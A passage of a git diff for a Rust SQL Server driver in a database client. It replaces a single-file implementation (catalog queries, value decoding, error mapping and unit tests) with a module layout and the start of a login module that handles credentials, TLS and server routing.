&str) -> Result, DriverError> { - // sys catalog is authoritative: is_identity/is_computed are exact - // flags, sys.default_constraints.definition carries the DEFAULT - // expression, and the primary-key join flags PK members. Type text - // is rebuilt from sys.types + length/precision so it reads like the - // user's CREATE TABLE (e.g. `nvarchar(255)`, `decimal(18,2)`). - // A column description lives in an extended property named - // MS_Description, which is the one SSMS writes and reads. - let sql = "SELECT \ - c.name AS col_name, \ - ty.name AS type_name, \ - c.max_length, \ - c.precision, \ - c.scale, \ - c.is_nullable, \ - c.is_identity, \ - c.is_computed, \ - dc.definition AS default_def, \ - CASE WHEN pk.column_id IS NOT NULL THEN 1 ELSE 0 END AS is_pk, \ - CAST(ep.value AS nvarchar(max)) AS comment \ - FROM sys.columns c \ - JOIN sys.objects o ON c.object_id = o.object_id \ - JOIN sys.schemas sc ON o.schema_id = sc.schema_id \ - JOIN sys.types ty ON c.user_type_id = ty.user_type_id \ - LEFT JOIN sys.default_constraints dc ON dc.object_id = c.default_object_id \ - LEFT JOIN ( \ - SELECT ic.object_id, ic.column_id \ - FROM sys.index_columns ic \ - JOIN sys.indexes i ON i.object_id = ic.object_id AND i.index_id = ic.index_id \ - WHERE i.is_primary_key = 1 \ - ) pk ON pk.object_id = c.object_id AND pk.column_id = c.column_id \ - LEFT JOIN sys.extended_properties ep \ - ON ep.class = 1 \ - AND ep.major_id = c.object_id \ - AND ep.minor_id = c.column_id \ - AND ep.name = 'MS_Description' \ - WHERE o.name = @P1 AND sc.name = COALESCE(@P2, SCHEMA_NAME()) \ - ORDER BY c.column_id"; - let mut client = self.client.lock().await; - let result = run_query( - &mut client, - sql, - &[text_param(table), schema_param(schema)], - MAX_QUERY_ROWS, - ) - .await?; - Ok(result.rows.iter().map(|r| row_to_column_info(r.as_slice())).collect()) - } - - async fn fetch_rows( - &self, - schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, - ) -> Result { - let sql = format!( - "SELECT * FROM {}{}", - qualified(schema, table), - build_order_and_pagination("mssql", None, limit, offset) - ); - let mut client = self.client.lock().await; - run_query(&mut client, &sql, &[], limit as usize).await - } - - async fn query(&self, sql: &str) -> Result { - let mut client = self.client.lock().await; - run_query(&mut client, sql, &[], MAX_QUERY_ROWS).await - } - - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - let mut client = self.client.lock().await; - run_query(&mut client, sql, params, MAX_QUERY_ROWS).await - } - - async fn execute(&self, sql: &str) -> Result { - let mut client = self.client.lock().await; - let rows_affected = run_execute(&mut client, sql, &[]).await?; - Ok(ExecResult { rows_affected }) - } - - async fn execute_params(&self, sql: &str, params: &[Value]) -> Result { - let mut client = self.client.lock().await; - let rows_affected = run_execute(&mut client, sql, params).await?; - Ok(ExecResult { rows_affected }) - } - - async fn execute_in_transaction(&self, statements: &[(String, Vec)]) -> Result, DriverError> { - let mut client = self.client.lock().await; - exec_simple(&mut client, "BEGIN TRANSACTION").await?; - let mut affected = Vec::with_capacity(statements.len()); - for (idx, (sql, params)) in statements.iter().enumerate() { - let boxes = boxed_params(params); - let refs: Vec<&dyn ToSql> = boxes.iter().map(|b| &**b as &dyn ToSql).collect(); - match client.execute(sql.as_str(), &refs).await { - Ok(res) => affected.push(res.total()), - Err(e) => { - let _ = exec_simple(&mut client, "ROLLBACK").await; - return Err(DriverError::RolledBack { - statement_index: idx, - source: Box::new(map_tiberius_error(e)), - }); - } - } - } - exec_simple(&mut client, "COMMIT").await?; - Ok(affected) - } - - async fn fetch_indexes(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // Flat rows (one per index column) ordered by key_ordinal; grouped - // into IndexInfo below since TDS has no array aggregation. - // INCLUDE columns are not part of the key and carry key_ordinal - // 0, so leaving them in would both list them as key columns and - // sort them ahead of the real ones. - let sql = "SELECT i.name AS index_name, i.is_unique, i.is_primary_key, c.name AS col_name \ - FROM sys.indexes i \ - JOIN sys.index_columns ic ON ic.object_id = i.object_id AND ic.index_id = i.index_id \ - JOIN sys.columns c ON c.object_id = ic.object_id AND c.column_id = ic.column_id \ - JOIN sys.objects o ON o.object_id = i.object_id \ - JOIN sys.schemas s ON s.schema_id = o.schema_id \ - WHERE o.name = @P1 AND s.name = COALESCE(@P2, SCHEMA_NAME()) \ - AND i.name IS NOT NULL AND i.type > 0 \ - AND ic.is_included_column = 0 \ - ORDER BY i.name, ic.key_ordinal"; - let mut client = self.client.lock().await; - let result = run_query( - &mut client, - sql, - &[text_param(table), schema_param(schema)], - MAX_QUERY_ROWS, - ) - .await?; - let mut out: Vec = Vec::new(); - for row in &result.rows { - let Some(name) = as_text(row.first()) else { - continue; - }; - let unique = as_bool(row.get(1)).unwrap_or(false); - let primary = as_bool(row.get(2)).unwrap_or(false); - let col = as_text(row.get(3)).unwrap_or_default(); - match out.iter_mut().find(|ix| ix.name == name) { - Some(ix) => ix.columns.push(col), - None => out.push(IndexInfo { - name, - columns: vec![col], - unique, - primary, - }), - } - } - Ok(out) - } - - async fn fetch_foreign_keys(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - let sql = "SELECT fk.name AS fk_name, \ - cpar.name AS col_name, \ - rs.name AS ref_schema, \ - rt.name AS ref_table, \ - cref.name AS ref_col, \ - fk.delete_referential_action_desc, \ - fk.update_referential_action_desc \ - FROM sys.foreign_keys fk \ - JOIN sys.foreign_key_columns fkc ON fkc.constraint_object_id = fk.object_id \ - JOIN sys.objects o ON o.object_id = fk.parent_object_id \ - JOIN sys.schemas s ON s.schema_id = o.schema_id \ - JOIN sys.columns cpar ON cpar.object_id = fk.parent_object_id AND cpar.column_id = fkc.parent_column_id \ - JOIN sys.objects rt ON rt.object_id = fk.referenced_object_id \ - JOIN sys.schemas rs ON rs.schema_id = rt.schema_id \ - JOIN sys.columns cref ON cref.object_id = fk.referenced_object_id AND cref.column_id = fkc.referenced_column_id \ - WHERE o.name = @P1 AND s.name = COALESCE(@P2, SCHEMA_NAME()) \ - ORDER BY fk.name, fkc.constraint_column_id"; - let mut client = self.client.lock().await; - let result = run_query( - &mut client, - sql, - &[text_param(table), schema_param(schema)], - MAX_QUERY_ROWS, - ) - .await?; - let mut out: Vec = Vec::new(); - for row in &result.rows { - let Some(name) = as_text(row.first()) else { - continue; - }; - let col = as_text(row.get(1)).unwrap_or_default(); - let ref_col = as_text(row.get(4)).unwrap_or_default(); - match out.iter_mut().find(|fk| fk.name == name) { - Some(fk) => { - fk.columns.push(col); - fk.ref_columns.push(ref_col); - } - None => out.push(ForeignKeyInfo { - name, - columns: vec![col], - ref_schema: as_text(row.get(2)), - ref_table: as_text(row.get(3)).unwrap_or_default(), - ref_columns: vec![ref_col], - on_delete: as_text(row.get(5)).and_then(|d| map_referential_action(&d)), - on_update: as_text(row.get(6)).and_then(|d| map_referential_action(&d)), - }), - } - } - Ok(out) - } - - async fn ping(&self) -> Result<(), DriverError> { - let mut client = self.client.lock().await; - exec_simple(&mut client, "SELECT 1").await - } - - async fn close(self: Box) -> Result<(), DriverError> { - self.client.into_inner().close().await.map_err(map_tiberius_error) - } -} - -async fn run_query( - client: &mut MssqlClient, - sql: &str, - params: &[Value], - limit: usize, -) -> Result { - let boxes = boxed_params(params); - let refs: Vec<&dyn ToSql> = boxes.iter().map(|b| &**b as &dyn ToSql).collect(); - let mut stream = client.query(sql, &refs).await.map_err(map_tiberius_error)?; - let mut columns: Vec = Vec::new(); - let mut rows: Vec> = Vec::new(); - let mut truncated = false; - let mut seen_result_set = false; - while let Some(item) = stream.try_next().await.map_err(map_tiberius_error)? { - match item { - // Metadata arrives before the rows it describes, so a - // result set with no rows still reports its columns. A - // second one means the batch produced another result set; - // the grid renders a single column list, so stop rather - // than file the next set's rows under these headers. - QueryItem::Metadata(meta) => { - if seen_result_set { - break; - } - seen_result_set = true; - columns = meta.columns().iter().map(col_to_result_column).collect(); - } - QueryItem::Row(row) => { - if rows.len() >= limit { - truncated = true; - break; - } - rows.push(row.into_iter().map(|cd| column_data_to_value(&cd)).collect()); - } - } - } - Ok(QueryResult::new(columns, rows).truncated(truncated)) -} - -async fn run_execute(client: &mut MssqlClient, sql: &str, params: &[Value]) -> Result { - let boxes = boxed_params(params); - let refs: Vec<&dyn ToSql> = boxes.iter().map(|b| &**b as &dyn ToSql).collect(); - let res = client.execute(sql, &refs).await.map_err(map_tiberius_error)?; - Ok(res.total()) -} - -/// Run a statement whose result set we don't consume (transaction control, -/// `SELECT 1` liveness). The stream must be drained so the DONE token is -/// read and the connection is left ready for the next command. -async fn exec_simple(client: &mut MssqlClient, sql: &str) -> Result<(), DriverError> { - let stream = client.simple_query(sql).await.map_err(map_tiberius_error)?; - stream.into_results().await.map_err(map_tiberius_error)?; - Ok(()) -} - -fn boxed_params(params: &[Value]) -> Vec> { - params - .iter() - .map(|p| -> Box { - match p { - // Type NULL as nvarchar: a typed-int NULL breaks COALESCE / - // comparisons against string columns (e.g. the introspection - // `COALESCE(@P, SCHEMA_NAME())`), while NULL always converts - // cleanly into any target column type on INSERT/UPDATE. - Value::Null => Box::new(Option::::None), - Value::Bool(b) => Box::new(*b), - Value::Int(i) => Box::new(*i), - Value::Float32(f) => Box::new(*f), - Value::Float64(f) => Box::new(*f), - Value::Text(s) => Box::new(s.clone()), - Value::Bytes(b) => Box::new(b.clone()), - Value::Date(Temporal::Finite(d)) => Box::new(*d), - Value::Timestamp(Temporal::Finite(t)) => Box::new(*t), - Value::TimestampTz(Temporal::Finite(t)) => Box::new(t.to_datetime().to_utc()), - Value::Uuid(u) => Box::new(*u), - // Everything else goes as text for the server to - // convert, which TDS does for each of these. - other => Box::new(tablepro_core::export::value_to_text(other).unwrap_or_default()), - } - }) - .collect() -} - -fn col_to_result_column(c: &Column) -> ResultColumn { - ResultColumn::new(c.name(), column_type_of(&column_type_to_string(c.column_type()))) -} - -fn column_data_to_value(cd: &ColumnData<'static>) -> Value { - match cd { - ColumnData::Bit(v) => (*v).map(Value::Bool).unwrap_or(Value::Null), - ColumnData::U8(v) => (*v).map(|n| Value::Int(i64::from(n))).unwrap_or(Value::Null), - ColumnData::I16(v) => (*v).map(|n| Value::Int(i64::from(n))).unwrap_or(Value::Null), - ColumnData::I32(v) => (*v).map(|n| Value::Int(i64::from(n))).unwrap_or(Value::Null), - ColumnData::I64(v) => (*v).map(Value::Int).unwrap_or(Value::Null), - ColumnData::F32(v) => (*v).map(Value::Float32).unwrap_or(Value::Null), - ColumnData::F64(v) => (*v).map(Value::Float64).unwrap_or(Value::Null), - ColumnData::String(v) => v.as_ref().map(|s| Value::Text(s.to_string())).unwrap_or(Value::Null), - ColumnData::Binary(v) => v.as_ref().map(|b| Value::Bytes(b.to_vec())).unwrap_or(Value::Null), - ColumnData::Guid(v) => (*v).map(Value::Uuid).unwrap_or(Value::Null), - // Taken as the scaled integer the wire carries: a fixed-width - // decimal type rounds the 38 digits DECIMAL(38,10) holds. - ColumnData::Numeric(v) => (*v) - .map(|n| Value::Decimal(SqlDecimal::from_scaled_i128(n.value(), u32::from(n.scale())))) - .unwrap_or(Value::Null), - ColumnData::Date(_) => decode::(cd, "date", |date| Some(Value::Date(Temporal::Finite(date)))), - ColumnData::Time(_) => { - decode::(cd, "time", |time| Some(Value::Time(SqlTime::from_time_of_day(time)))) - } - ColumnData::DateTime(_) | ColumnData::SmallDateTime(_) | ColumnData::DateTime2(_) => { - decode::(cd, "datetime", |stamp| Some(Value::Timestamp(Temporal::Finite(stamp)))) - } - ColumnData::DateTimeOffset(_) => decode::, _>(cd, "datetimeoffset", |stamp| { - Some(Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime( - stamp.fixed_offset(), - )))) - }), - ColumnData::Xml(v) => v.as_ref().map(|x| Value::Text(x.to_string())).unwrap_or(Value::Null), - } -} - -/// Read one cell, keeping three outcomes apart: a real NULL, a value -/// the driver read, and one it could not read. A value with no decoder -/// says so rather than reading as an empty cell the user would take -/// for a NULL. -fn decode<'a, T, F>(cd: &'a ColumnData<'static>, type_name: &str, into_value: F) -> Value -where - T: FromSql<'a>, - F: FnOnce(T) -> Option, -{ - match T::from_sql(cd) { - Ok(Some(value)) => into_value(value).unwrap_or_else(|| undecodable(type_name)), - Ok(None) => Value::Null, - Err(_) => undecodable(type_name), - } -} - -/// A value the driver could not read, so the grid says so rather than -/// showing an empty cell that looks like a NULL. -fn undecodable(type_name: &str) -> Value { - Value::Undecodable(Box::new(tablepro_core::value::UndecodedValue { - type_name: type_name.to_owned(), - reason: tablepro_core::value::UndecodableReason::UnsupportedType, - })) -} - -fn column_type_to_string(ct: ColumnType) -> String { - let name = match ct { - ColumnType::Null => "null", - ColumnType::Bit | ColumnType::Bitn => "bit", - ColumnType::Int1 => "tinyint", - ColumnType::Int2 => "smallint", - ColumnType::Int4 => "int", - ColumnType::Int8 => "bigint", - ColumnType::Intn => "int", - ColumnType::Float4 => "real", - ColumnType::Float8 | ColumnType::Floatn => "float", - ColumnType::Decimaln | ColumnType::Numericn => "decimal", - ColumnType::Money | ColumnType::Money4 => "money", - ColumnType::Datetime | ColumnType::Datetime4 | ColumnType::Datetimen => "datetime", - ColumnType::Datetime2 => "datetime2", - ColumnType::DatetimeOffsetn => "datetimeoffset", - ColumnType::Daten => "date", - ColumnType::Timen => "time", - ColumnType::Guid => "uniqueidentifier", - ColumnType::BigChar | ColumnType::BigVarChar => "varchar", - ColumnType::NChar | ColumnType::NVarchar => "nvarchar", - ColumnType::Text => "text", - ColumnType::NText => "ntext", - ColumnType::BigBinary | ColumnType::BigVarBin => "varbinary", - ColumnType::Image => "image", - ColumnType::Xml => "xml", - ColumnType::Udt => "udt", - ColumnType::SSVariant => "sql_variant", - }; - name.to_string() -} - -fn row_to_column_info(row: &[Value]) -> ColumnInfo { - let type_name = as_text(row.get(1)).unwrap_or_default(); - let max_length = as_i64(row.get(2)).unwrap_or(0); - let precision = as_i64(row.get(3)).unwrap_or(0); - let scale = as_i64(row.get(4)).unwrap_or(0); - let is_identity = as_bool(row.get(6)).unwrap_or(false); - let default_raw = as_text(row.get(8)); - // An IDENTITY column carries an internal seed and increment, not a - // user DEFAULT, so the insert form treats it as the server's. - let default = match is_identity { - true => ColumnDefault::None, - false => match default_raw.map(|d| normalize_mssql_default(&d)) { - Some(text) => ColumnDefault::Expression(SqlExpression::from_catalog_text(text)), - None => ColumnDefault::None, - }, - }; - ColumnInfo { - name: as_text(row.first()).unwrap_or_default(), - column_type: column_type_of(&format_mssql_type(&type_name, max_length, precision, scale)), - nullable: as_bool(row.get(5)).unwrap_or(true), - primary_key: as_bool(row.get(9)).unwrap_or(false), - is_auto_increment: is_identity, - is_generated: as_bool(row.get(7)).unwrap_or(false), - default, - comment: as_text(row.get(10)), - } -} - -/// Rebuild a user-facing type string from `sys.types` metadata. `nvarchar` -/// / `nchar` store `max_length` in bytes (two per character); `-1` is the -/// `(max)` sentinel. Numeric types carry precision/scale. -fn format_mssql_type(type_name: &str, max_length: i64, precision: i64, scale: i64) -> String { - match type_name.to_ascii_lowercase().as_str() { - "varchar" | "char" | "varbinary" | "binary" => { - if max_length < 0 { - format!("{type_name}(max)") - } else { - format!("{type_name}({max_length})") - } - } - "nvarchar" | "nchar" => { - if max_length < 0 { - format!("{type_name}(max)") - } else { - format!("{type_name}({})", max_length / 2) - } - } - "decimal" | "numeric" => format!("{type_name}({precision},{scale})"), - _ => type_name.to_string(), - } -} - -/// `sys.default_constraints.definition` wraps the expression in parentheses -/// (sometimes doubled) and quotes string literals: `((0))`, `('pending')`, -/// `(getdate())`. Peel balanced outer parens, then outer single quotes, so -/// the value reads like the user typed it — matching the other drivers. -fn normalize_mssql_default(raw: &str) -> String { - let mut s = raw.trim(); - while outer_parens_wrap(s) { - s = s[1..s.len() - 1].trim(); - } - strip_outer_single_quotes(s) -} - -fn outer_parens_wrap(s: &str) -> bool { - let bytes = s.as_bytes(); - if bytes.len() < 2 || bytes[0] != b'(' || bytes[bytes.len() - 1] != b')' { - return false; - } - let mut depth = 0i32; - for (i, &b) in bytes.iter().enumerate() { - match b { - b'(' => depth += 1, - b')' => { - depth -= 1; - // A close that returns to depth 0 before the final byte - // means the leading `(` does not wrap the whole string - // (e.g. `(a)+(b)`); don't strip. - if depth == 0 && i != bytes.len() - 1 { - return false; - } - } - _ => {} - } - } - depth == 0 -} - -fn strip_outer_single_quotes(raw: &str) -> String { - let bytes = raw.as_bytes(); - if bytes.len() >= 2 && bytes[0] == b'\'' && bytes[bytes.len() - 1] == b'\'' { - return raw[1..raw.len() - 1].replace("''", "'"); - } - raw.to_string() -} - -/// Map SQL Server's `*_referential_action_desc` text to the canonical SQL -/// keyword the FK/DDL layer expects. `NO_ACTION` returns `None` so the DDL -/// builder omits the redundant clause. -fn map_referential_action(desc: &str) -> Option { - match desc.to_ascii_uppercase().as_str() { - "CASCADE" => Some("CASCADE".into()), - "SET_NULL" => Some("SET NULL".into()), - "SET_DEFAULT" => Some("SET DEFAULT".into()), - _ => None, - } -} - -fn quote_ident(name: &str) -> String { - format!("[{}]", name.replace(']', "]]")) -} - -fn qualified(schema: Option<&str>, table: &str) -> String { - match schema { - Some(s) => format!("{}.{}", quote_ident(s), quote_ident(table)), - None => quote_ident(table), - } -} - -fn text_param(s: &str) -> Value { - Value::Text(s.to_string()) -} - -fn schema_param(schema: Option<&str>) -> Value { - match schema { - Some(s) => Value::Text(s.to_string()), - None => Value::Null, - } -} - -fn as_text(v: Option<&Value>) -> Option { - match v { - Some(Value::Text(s)) => Some(s.clone()), - _ => None, - } -} - -fn as_i64(v: Option<&Value>) -> Option { - match v { - Some(Value::Int(i)) => Some(*i), - _ => None, - } -} - -fn as_bool(v: Option<&Value>) -> Option { - match v { - Some(Value::Bool(b)) => Some(*b), - // sys catalog bit columns and the CASE-derived is_pk flag can arrive - // as an integer depending on the shape of the projection. - Some(Value::Int(i)) => Some(*i != 0), - _ => None, - } -} - -/// The dial is the only I/O the driver runs before a session exists, -/// so a failure here names the endpoint it could not reach. -fn map_io_error(e: std::io::Error, endpoint: &NetworkEndpoint) -> DriverError { - DriverError::Transport(match e.kind() { - std::io::ErrorKind::ConnectionRefused => TransportError::Refused { - endpoint: endpoint.clone(), - }, - std::io::ErrorKind::TimedOut => TransportError::Timeout { - phase: TimeoutPhase::Connect, - }, - _ => TransportError::Unreachable { - endpoint: endpoint.clone(), - detail: e.to_string(), - }, - }) -} - -fn map_tiberius_error(err: tiberius::error::Error) -> DriverError { - use tiberius::error::Error as E; - match err { - E::Io { .. } => DriverError::ConnectionLost { - during: LossPhase::Statement, - }, - E::Tls(detail) => DriverError::Tls { - failure: TlsFailure::Other, - detail, - }, - E::Server(token) => server_error(&token), - #[cfg(feature = "kerberos")] - E::Gssapi(detail) => DriverError::IntegratedAuth(detail), - E::Routing { host, port } => DriverError::Protocol(format!("the server asked for routing to {host}:{port}")), - other => DriverError::Protocol(other.to_string()), - } -} - -/// The TDS error numbers that mean something the app acts on. -fn server_error(token: &tiberius::error::TokenError) -> DriverError { - let diagnostics = diagnostics_of(token); - match token.code() { - 18456 => DriverError::auth(Some(diagnostics)), - 3906 => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), - 1222 => DriverError::Timeout { - phase: TimeoutPhase::LockWait, - server_cancelled: true, - }, - _ => DriverError::reported(diagnostics), - } -} - -fn diagnostics_of(token: &tiberius::error::TokenError) -> ServerDiagnostics { - ServerDiagnostics { - code: Some(ServerCode::Tds { - number: token.code(), - state: token.state(), - class: token.class(), - }), - severity: Some(token.class().to_string()), - message: token.message().to_owned(), - where_context: match token.procedure() { - "" => None, - procedure => Some(procedure.to_owned()), - }, - ..ServerDiagnostics::default() - } -} - -/// A column type from the name the catalogue gave, classified by the -/// shared rules. The engine's own spelling is kept for DDL. -fn column_type_of(type_name: &str) -> CoreColumnType { - let kind = classify_type_name(type_name); - CoreColumnType::new( - SqlTypeExpr::from_catalog_text(type_name), - kind, - CatalogType::Named(SqlTypeExpr::from_catalog_text(type_name)), - has_dynamic_storage(kind), - ReadForm::Native, - ) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn driver_metadata() { - let d = MssqlDriver; - assert_eq!(d.id(), "mssql"); - assert_eq!(d.display_name(), "SQL Server"); - assert_eq!(d.default_port(), 1433); - assert!(!d.is_file_based()); - assert_eq!(d.supports_integrated_auth(), cfg!(feature = "kerberos")); - } - - fn direct_opts() -> ConnectOptions { - ConnectOptions { - host: "sql.corp.example".into(), - port: 1433, - database: "sales".into(), - ..Default::default() - } - } - - #[test] - fn a_direct_connection_names_and_dials_the_same_endpoint() { - let target = build_target(&direct_opts()).unwrap(); - assert_eq!(target.config.get_addr(), "sql.corp.example:1433"); - assert_eq!( - (target.dial_host.as_str(), target.dial_port), - ("sql.corp.example", 1433) - ); - } - - #[test] - fn a_tunnelled_connection_names_the_service_but_dials_the_forward() { - let opts = ConnectOptions { - host: "127.0.0.1".into(), - port: 54321, - service_endpoint: Some(("sql.corp.example".into(), 1433)), - ..direct_opts() - }; - let target = build_target(&opts).unwrap(); - // The SPN and the TLS server name follow this, so a tunnel must - // not push 127.0.0.1 into it. - assert_eq!(target.config.get_addr(), "sql.corp.example:1433"); - assert_eq!((target.dial_host.as_str(), target.dial_port), ("127.0.0.1", 54321)); - } - - #[test] - fn the_local_shorthand_reaches_the_socket_as_localhost() { - let opts = ConnectOptions { - host: ".".into(), - ..direct_opts() - }; - let target = build_target(&opts).unwrap(); - assert_eq!(target.config.get_addr(), "localhost:1433"); - assert_eq!(target.dial_host, "localhost"); - } - - #[cfg(feature = "kerberos")] - #[test] - fn kerberos_authenticates_from_the_ticket_cache_and_ignores_credentials() { - let opts = ConnectOptions { - auth_mode: AuthMode::Kerberos, - username: "leftover".into(), - ..direct_opts() - }; - assert_eq!(auth_method(&opts).unwrap(), AuthMethod::Integrated); - assert_eq!(auth_method(&direct_opts()).unwrap(), AuthMethod::sql_server("", "")); - } - - #[cfg(not(feature = "kerberos"))] - #[test] - fn kerberos_is_refused_when_built_without_the_feature() { - let opts = ConnectOptions { - auth_mode: AuthMode::Kerberos, - ..direct_opts() - }; - assert!(matches!(auth_method(&opts), Err(DriverError::IntegratedAuth(_)))); - assert!(build_target(&opts).is_err()); - assert_eq!(auth_method(&direct_opts()).unwrap(), AuthMethod::sql_server("", "")); - } - - #[cfg(feature = "kerberos")] - #[test] - fn a_gssapi_failure_is_classified_instead_of_reported_as_an_internal_error() { - let err = map_tiberius_error(tiberius::error::Error::Gssapi( - "No Kerberos credentials available".into(), - )); - assert!(matches!(err, DriverError::IntegratedAuth(detail) if detail.contains("No Kerberos"))); - } - - #[test] - fn quote_ident_brackets_and_escapes() { - assert_eq!(quote_ident("users"), "[users]"); - assert_eq!(quote_ident("My Table"), "[My Table]"); - assert_eq!(quote_ident("weird]name"), "[weird]]name]"); - } - - #[test] - fn qualified_uses_bracket_quoting() { - assert_eq!(qualified(Some("dbo"), "users"), "[dbo].[users]"); - assert_eq!(qualified(None, "users"), "[users]"); - } - - #[test] - fn format_type_lengths_and_precision() { - assert_eq!(format_mssql_type("int", 4, 10, 0), "int"); - assert_eq!(format_mssql_type("varchar", 255, 0, 0), "varchar(255)"); - assert_eq!(format_mssql_type("varchar", -1, 0, 0), "varchar(max)"); - // nvarchar max_length is in bytes: 510 bytes -> 255 chars. - assert_eq!(format_mssql_type("nvarchar", 510, 0, 0), "nvarchar(255)"); - assert_eq!(format_mssql_type("nvarchar", -1, 0, 0), "nvarchar(max)"); - assert_eq!(format_mssql_type("decimal", 9, 18, 2), "decimal(18,2)"); - } - - #[test] - fn normalize_default_peels_parens_and_quotes() { - assert_eq!(normalize_mssql_default("((0))"), "0"); - assert_eq!(normalize_mssql_default("('pending')"), "pending"); - assert_eq!(normalize_mssql_default("(getdate())"), "getdate()"); - assert_eq!(normalize_mssql_default("(N'x')"), "N'x'"); - assert_eq!(normalize_mssql_default("('it''s')"), "it's"); - } - - #[test] - fn normalize_default_leaves_unbalanced_alone() { - // A leading `(` that doesn't wrap the whole expression must not be - // stripped, or the value would be corrupted. - assert_eq!(normalize_mssql_default("(a)+(b)"), "(a)+(b)"); - } - - #[test] - fn referential_actions_map_to_keywords() { - assert_eq!(map_referential_action("CASCADE"), Some("CASCADE".to_string())); - assert_eq!(map_referential_action("SET_NULL"), Some("SET NULL".to_string())); - assert_eq!(map_referential_action("SET_DEFAULT"), Some("SET DEFAULT".to_string())); - assert_eq!(map_referential_action("NO_ACTION"), None); - } - - #[test] - fn column_type_names_are_human_readable() { - assert_eq!(column_type_to_string(ColumnType::Int4), "int"); - assert_eq!(column_type_to_string(ColumnType::NVarchar), "nvarchar"); - assert_eq!(column_type_to_string(ColumnType::Datetime2), "datetime2"); - assert_eq!(column_type_to_string(ColumnType::Guid), "uniqueidentifier"); - assert_eq!(column_type_to_string(ColumnType::Bit), "bit"); - } -} +//! The SQL Server driver: tiberius over the target's transport, a +//! deadpool workspace pool, and editor sessions on connections of their +//! own. +//! +//! tiberius borrows its client for the whole of a request, so nothing +//! outside the task that owns the client can stop one. Every stop is +//! therefore sent in band, as a TDS attention, by that task, and a +//! connection whose response may be half read is discarded rather than +//! reused. + +mod cancel; +mod capabilities; +mod catalog; +mod connection; +mod ddl; +mod decode; +mod dialect; +mod driver; +mod editor_run; +mod editor_session; +mod encode; +mod endpoint; +mod errors; +mod in_band_request; +mod login; +mod metadata; +mod mssql_manager; +mod mssql_pooled; +mod physical; +mod read_only_guard; +mod standalone; +mod stream_read; +mod tds_message; +mod tls_config; +mod transport_io; +mod workspace_call; +mod write_batch; + +pub use ddl::MssqlDdl; +pub use dialect::MssqlDialect; +pub use driver::MssqlDriver; +pub use mssql_manager::WORKSPACE_POOL_MAX_SIZE; diff --git a/linux/crates/drivers/mssql/src/login.rs b/linux/crates/drivers/mssql/src/login.rs new file mode 100644 index 0000000000..3c6c8432bb --- /dev/null +++ b/linux/crates/drivers/mssql/src/login.rs @@ -0,0 +1,415 @@ +use std::future::Future; +use std::sync::Arc; +use std::time::Duration; + +use secrecy::{ExposeSecret, SecretString}; +use tablepro_core::{ + APPLICATION_NAME, Credentials, DriverError, LivenessPolicy, NetworkEndpoint, NetworkTarget, TimeoutPhase, + Transport, TransportError, +}; +use tiberius::error::Error; +use tiberius::{AuthMethod, Client, Config}; +use tokio_util::compat::TokioAsyncWriteCompatExt; +use tokio_util::sync::CancellationToken; + +use crate::physical::{MssqlClient, MssqlLink, MssqlStream}; +use crate::tls_config::TlsPlan; +use crate::transport_io::{ReadTally, TransportIo}; + +/// Who the login says it is. +#[derive(Debug, Clone)] +enum LoginCredentials { + Password { + username: String, + password: SecretString, + }, + /// The Kerberos ticket the user already holds. + #[cfg(feature = "kerberos")] + Integrated, +} + +/// Everything one target's logins share. +#[derive(Debug, Clone)] +pub(crate) struct LoginPlan { + service: NetworkEndpoint, + database: Option, + credentials: LoginCredentials, + tls: TlsPlan, + connect_timeout: Duration, + login_timeout: Duration, +} + +/// How one login attempt ended. +#[derive(Debug)] +pub(crate) enum Attempted { + /// The server sent the login elsewhere, as an Azure gateway or an + /// availability group listener does. + Routed { + host: String, + port: u16, + }, + Failed(DriverError), +} + +impl LoginPlan { + pub(crate) fn new(target: &NetworkTarget, liveness: &LivenessPolicy) -> Result { + let credentials = match &target.credentials { + Credentials::Password { username, password } => LoginCredentials::Password { + username: username.clone(), + password: password.clone(), + }, + #[cfg(feature = "kerberos")] + Credentials::Integrated => LoginCredentials::Integrated, + #[cfg(not(feature = "kerberos"))] + Credentials::Integrated => { + return Err(DriverError::Config(tablepro_core::ConfigError::AuthModeUnsupported)); + } + }; + Ok(Self { + service: target.transport.service_endpoint().clone(), + database: target.database.clone().filter(|name| !name.is_empty()), + credentials, + tls: TlsPlan::new(&target.tls)?, + connect_timeout: liveness.connect_timeout, + login_timeout: liveness.login_timeout, + }) + } + + /// The configuration of a login to `host`, which names the server for + /// the certificate check and the Kerberos SPN; the socket itself + /// comes from the transport. + pub(crate) fn config(&self, host: &str, port: u16) -> Config { + let mut config = Config::new(); + config.host(server_host(host)); + config.port(port); + if let Some(database) = &self.database { + config.database(database); + } + config.application_name(APPLICATION_NAME); + config.authentication(self.auth_method()); + // The default bounds every response by 30 seconds and abandons + // the connection when one takes longer, which an editor query + // may well do. Calls are bounded by their own deadlines instead. + config.command_timeout(None); + // Ends a Kerberos login still running on a blocking thread after + // the caller has given up on it. + config.handshake_timeout(Some(self.login_timeout)); + self.tls.apply(&mut config); + config + } + + fn auth_method(&self) -> AuthMethod { + match &self.credentials { + LoginCredentials::Password { username, password } => { + AuthMethod::sql_server(username, password.expose_secret()) + } + #[cfg(feature = "kerberos")] + LoginCredentials::Integrated => AuthMethod::Integrated, + } + } + + fn integrated(&self) -> bool { + match &self.credentials { + LoginCredentials::Password { .. } => false, + #[cfg(feature = "kerberos")] + LoginCredentials::Integrated => true, + } + } +} + +/// `.` is SQL Server shorthand for the local machine, and it means +/// nothing to a certificate or a resolver. +fn server_host(host: &str) -> &str { + if host == "." { "localhost" } else { host } +} + +/// Log in over a stream from the transport, following one reroute. +/// `cancel` abandons the login wherever it is. +pub(crate) async fn login( + plan: &LoginPlan, + transport: Arc, + cancel: &CancellationToken, +) -> Result { + let logging_in = follow_routing(plan, transport, |config, transport| attempt(plan, config, transport)); + tokio::select! { + biased; + () = cancel.cancelled() => Err(DriverError::Cancelled), + done = logging_in => done, + } +} + +/// Run `attempt` against the service, and once more against wherever +/// the server routes it. A second routing answer is refused: a gateway +/// that keeps redirecting would otherwise loop forever. +pub(crate) async fn follow_routing( + plan: &LoginPlan, + transport: Arc, + mut attempt: F, +) -> Result +where + F: FnMut(Config, Arc) -> Fut, + Fut: Future>, +{ + let mut transport = transport; + let mut host = plan.service.host().to_owned(); + let mut port = plan.service.port(); + let mut rerouted = false; 